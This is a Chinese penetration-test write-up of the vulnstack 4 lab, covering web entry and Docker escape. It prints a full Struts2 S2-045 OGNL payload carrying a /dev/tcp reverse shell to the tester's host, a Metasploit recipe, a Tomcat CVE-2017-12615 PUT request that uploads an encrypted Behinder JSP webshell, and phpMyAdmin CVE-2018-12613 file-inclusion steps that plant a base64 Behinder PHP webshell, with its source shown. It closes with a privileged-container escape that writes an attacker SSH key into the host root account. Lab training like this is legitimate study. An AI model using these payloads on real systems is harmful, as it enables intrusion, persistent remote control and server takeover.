目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、漏洞利用Getshell
①Struts 2 s2-045漏洞
手工利用s2-45漏洞
Msf综合利用
②Tomcat框架(CVE-2017-12615)
③phpMyAdmin(CVE-2018-12613)
构造语句写入冰蝎木马
3、Docker服务器逃逸
①struts2应用
②tomcat应用(docker特权模式逃逸)
③phpMyAdmin应用
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.131)
靶 机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。
密码信息(默认密码):
- Web服务器:ubuntu/ubuntu
- 域成员主机:douser/Dotest123
- 域控主机默认密码:administrator/Test2008
- 域控主机修改后的密码:Admin123456
2、注意事项
- 设置一个仅主机网卡,网段为183;每台主机的仅主机网卡使用这个即可。设置完成三台主机即可互相ping通。
- 域内主机win7无法以管理员权限运行文件, 提示“目前没有可用的登录服务器处理登录请求”,不过仅主机网卡即可通信,无伤大雅。
- Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613,命令如下:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
开启后即完成了环境搭建
3、使用工具/软件
Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster (目录遍历)、msfconsole(漏洞利用)、nc(监听工具)、ssh-keygen(生成ssh秘钥)
struts 2漏洞检测工具、cdk(docker漏洞检测)、冰蝎Behinder_v4.0.6(webshell管理)、mobaxterm(shell管理)
测试网址:
http://192.168.200.145:2001;http://192.168.200.145:2002;http://192.168.200.145:2003
后面两篇文章地址:
红日靶场vulnstark 4靶机的测试报告[细节](二)-CSDN博客文章浏览阅读382次,点赞11次,收藏3次。基于渗透测试流程渗透vulnstark 4靶场;红日靶场;内网渗透;mimikatz;msfconsole;ms 14-68;ms17-010;永恒之蓝;域内信息搜集;Windows渗透;域渗透;Kerberoshttps://blog.csdn.net/2301_79698171/article/details/144306473?spm=1001.2014.3001.5501
红日靶场vulnstark 4靶机的测试报告[细节](三)-CSDN博客文章浏览阅读650次,点赞21次,收藏10次。基于渗透测试流程测试vulnstark 4靶场;内网渗透;域渗透;黄金票据;权限维持;Kerberos;红日靶场;痕迹清理;清理日志;krbtgt。https://blog.csdn.net/2301_79698171/article/details/144308001?spm=1001.2014.3001.5501
二、测试目的
通过web打点进入shell后台,docker逃逸到物理机。
三、操作过程
1、信息搜集
开启kali,CS启动!
主机探测
arp-scan -l
探测到靶机IP:192.168.200.145
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.145
开启了22端口(ssh服务)、2001端口(jetty搭建的服务,struts2中间件)、2002端口(tomcat中间件)、2003端口(apache中间件,phpmyadmin服务)
进行目录扫描
2001端口目录扫描失败
gobuster dir -u http://192.168.200.145:2001 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
扫描2002端口
gobuster dir -u http://192.168.200.145:2002 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
没扫描到什么有用的信息,都是tomcat的文件
Tomcat版本:8.5.19
扫描2003端口
gobuster dir -u http://192.168.200.145:2003 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
扫到很多目录和文件
主页phpmyadmin,无需登录即可管理数据库
Mysql版本:5.5.62
2、漏洞利用Getshell
①Struts 2 s2-045漏洞
使用struts 2漏洞检测工具查一下漏洞,存在s2-045漏洞
这个漏洞利用方式有很多:手工注入、msf集成利用或者是集成工具直接利用。
检测工具地址:
https://github.com/s0k/Deserialize/blob/main/struts2/Struts2%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%9F%A5%E5%B7%A5%E5%85%B72019%E7%89%88%20V2.3.exe
执行命令成功
手工利用s2-45漏洞
尝试手工利用s2-45漏洞一下
漏洞url:http://192.168.200.145:2001/doUpload.action
RCEpoc:
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
尝试抓包(提交按钮的包)修改Content-Type参数,发包执行命令
执行反弹shell
反弹shell命令:
bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1
$IFS:是 Bash 的一个环境变量,表示内部字段分隔符。默认情况下,IFS 用于分隔字符串。
$9:是 Bash 中的一个位置参数,指代第 9 个命令行参数。该位置参数为空,因此它不会对命令产生直接影响。
完整poc:
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
在kali开启监听
发送poc,即可接收反弹shell
获取反弹shell
Msf综合利用
Msf命令如下:
use exploit/multi/http/struts2_content_type_ognl
set TARGETURI /doUpload
set RHOSTS 192.168.200.145
set RPORT 2001
set LPORT 6666
set FETCH_WRITABLE_DIR /tmp
set FETCH_SRVPORT 8081
run
执行命令完成后直接获取了meterpreter权限
②Tomcat框架(CVE-2017-12615)
这个环境存在tomcat一个经典的任意文件上传的漏洞(就白盒测试来说,这是直接拉的docker环境CVE-2017-12615漏洞复现)
下面就这个漏洞进行利用
打开burp,随机抓取一个tomcat站点的数据包
修改:PUT上传方法、请求行url、新增Content-Type:application/x-www-form-urlencoded头、请求主体是木马文件内容
完整数据包:
PUT /tomcat.jsp/ HTTP/1.1
Host: 192.168.200.145:2002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type:application/x-www-form-urlencoded
Connection: keep-alive
Referer: http://192.168.200.145:2002/
Cookie: JSESSIONID=1ld91a1s2g4bn11znldfexvfm; phpMyAdmin=2efb6ffa53fc258b51330d35976b057b; pma_lang=zh_CN
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 572
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*�ƥ:ޥ�32Mmd5<�M16M
ؤޥ�rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
发包,返回值201表示成功
可以访问jsp木马文件,空白页
冰蝎也成功连接
③phpMyAdmin(CVE-2018-12613)
这里利用的是一个任意文件包含漏洞getshell
漏洞url:
http://192.168.200.145:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd
可以看到成功地包含了文件
在执行sql语句的页面
select "<?php echo 'pwd';?>"
执行的sql语句会先储存在临时session文件中,session文件以session值来命名
结果如下:
抓包查看session值,phpMyAdmin的参数值就是:2efb6ffa53fc258b51330d35976b057b
临时session文件名只需要加上sess_的前缀,保存在tmp目录下
sess_2efb6ffa53fc258b51330d35976b057b
利用原理:执行插入php木马的查询语句,在任意文件包含漏洞页面包含临时session文件执行php代码。
以刚刚执行的例子中执行的php代码为例,包含临时session文件发现语句被执行,输出了pwd的字段。
http://192.168.200.145:2003/index.php?target=db_sql.php%253f/../../../../../../../../../tmp/sess_2efb6ffa53fc258b51330d35976b057b
php中,反引号(`)中的内容会被当做shell命令执行。
比如,执行这样一句查询语句:select "<?php echo `pwd`; ?>"
可以看到包含页面内执行php语句没有像之前一样输出pwd,而是执行pwd命令,回显当前目录:/var/www/html
当然,这个目录就是web目录,是当前页的目录
构造语句写入冰蝎木马
select '<?php echo `echo "<?php eval(base64_decode(冰蝎的php webshell base64加密)); ?>" > /var/www/html/mysql.php`; ?>';
这个编码用php的base64_encode生成的编码,不然base64代码可能用不了
完整poc:
select '<?php echo `echo "<?php eval(base64_decode(QGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cg));?>" > /var/www/html/mysql.php`;?>';
执行完毕,刷新一下包含页面执行
访问http://192.168.200.145:2003/mysql.php
可以看到webshell成功创建,这种页面就是正确的,可以连冰蝎
成功连接冰蝎!!
太不容易了,编码被卡住了好久。
php的webshell:注释内容要删掉、最后一行需要换行符。
这样的编码才连的上冰蝎!
这里把冰蝎的php马源码也放一下,修改过后的:
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
3、Docker服务器逃逸
由于Docker 容器是与物理机隔离的,所以我们需要进行Docker逃逸。Docker逃逸是指利用Docker 容器可能存在的不安全配置,将获得的Docker容器权限转变为物理机权限。
Docker 容器有许多逃逸手段,举例如下:
- 内核漏洞:由于Docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在Docker 容器内利用内核漏洞可能直接获得物理机权限。
- Docker API 未授权访问漏洞:当物理机的Docker API开启并同意未授权访问时,在Docker 容器内可以使用Docker API新建一个Docker 容器,并将物理机的根目录挂载到新Docker 容器的某目录下。
- Docker 容器以特权模式启动:当Docker容器是以特权模式启动时,可以使用mount命令将物理机的根目录挂载到当前Docker 容器的某目录下。
在Docker 容器内可以通过使用cdk进行不安全配置扫描。cdk是一个开源的Docker容器渗透工具包,下载地址为https://github.com/cdk-team/CDK/releases/tag/v1.0.6。cdk可以检测当前Docker 容器内是否存在不安全的配置和漏洞,并可以通过不安全的配置和漏洞进行Docker 逃逸。
①struts2应用
获取的反弹shell,可以很清楚地看到是root权限,@后面明显是docker的id号
显然这是一个docker容器
查找一下.dockerenv文件
find / -name .dockerenv
.dockerenv文件是docker容器特有的文件,可以确定当前服务器是一个docker容器。
如图,查找到了.dockerenv文件的路径:
靶机下载cdk并赋予执行权限运行
wget 192.168.200.131:8888/cdk
chmod +x cdk
./cdk evaluate --full
没什么有用信息
②tomcat应用(docker特权模式逃逸)
查看系统信息,是Linux系统、root权限
find / -name .dockerenv
也找到了.dockerenv文件
上传cdk文件
赋予执行权限并执行
/tmp/ >chmod +x cdk_linux_amd64
/tmp/ >./cdk_linux_amd64 evaluate –full
可以看到扫出了,开启了特权权限
cdk工具可以直接利用漏洞
挂载根目录利用命令:
./cdk_linux_amd64 run mount-disk
该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件(xxxxx为随机字母组成),再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下
可以在挂载目录查看物理机的根目录
cd /tmp/cdk_p95Pg
ls
成功挂载了物理机的根目录,可以通过写计划任务或写SSH秘钥的方式获取物理机权限。信息搜集时获取了靶机开启了SSH服务,将ssh秘钥写入挂载的根目录即可登录。命令如下:
kali生成一份公钥私钥
ssh-keygen -t rsa
私钥文件:/root/.ssh/id_rsa
公钥文件:/root/.ssh/id_rsa.pub
查看公钥文件
cat /root/.ssh/id_rsa.pub
将这份公钥复制到docker挂载的物理机公钥存放处,使用私钥即可登录
mkdir .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuJWjhVWp/dik4+3SMRZ/Cx26SISK1JeEmpZjDALNiv/PndTtJ2OofwrxNEdjoq7ZSeVsgY05MfEFwOwa7OsewkV0X+yRFdAGbMb3EcLVjsVXEIpiOf0U6yQld2JJofRTn9ZjgDbW1wU/f0OWSU+sk1JHoJlUcDuDUiHoQj5RBzzyZaWKX7zfx2Xey1t9/89VND2FUYz8cyJO+fZzPSdm1aRIERaVla9hlcq9aPMn/DeLJdNHEz0pbhmBHRQBz32/8XH8vJLGUhuyw3OytDyShQONsxs1rsCIg5gRg/IjsTzsNRs1HMmt+WBmOFMtSTknIyaCUGd72/HSQZdI7DSVgq4hA7q1QJKF19l4ievXh9eHHqb6RMJkkY7YIwIZnfSIC7JKZy9M+bshUEzbD9FcBrQJ/SQTy5u6BpGoRV47CeIxDTn3DcjCa7uWtL2RnTVyTvXPvJqrhzerSFZqTPoJEPNTj11JrOIkt23vR2a4AAYLH+ERZRmE14RSn3PJKKf0= root@hacker" > /tmp/cdk_p95Pg/root/.ssh/authorized_keys
ssh的目录和公钥都需要特定的权限才能运行
ssh目录(权限700)
~/.ssh/authorized_keys文件(权限600)
chmod 700 .ssh
chmod 600 authorized_keys
使用mobaxterm工具的ssh登录
使用私钥id_rsa
成功登录root用户
③phpMyAdmin应用
查看基本信息:Linux系统,并且用户名是docker的命名特征,内核也是ubuntu14.04;php版本:7.2.5
猜测这也是docker容器
同样找到了dockerenv文件
find / -name .dockerenv
要进行docker容器逃逸,需要把获得的权限提升为管理员,尝试提权
尝试脏牛漏洞提权失败
四、结论
由于靶场报告内容太多,一篇文章会很冗杂,决定分为三篇发送。
这里已经获取了web靶机的物理机root权限,通过docker逃逸实现的。
下一篇文章会进行内网渗透,获取域内主机和域控服务器的权限。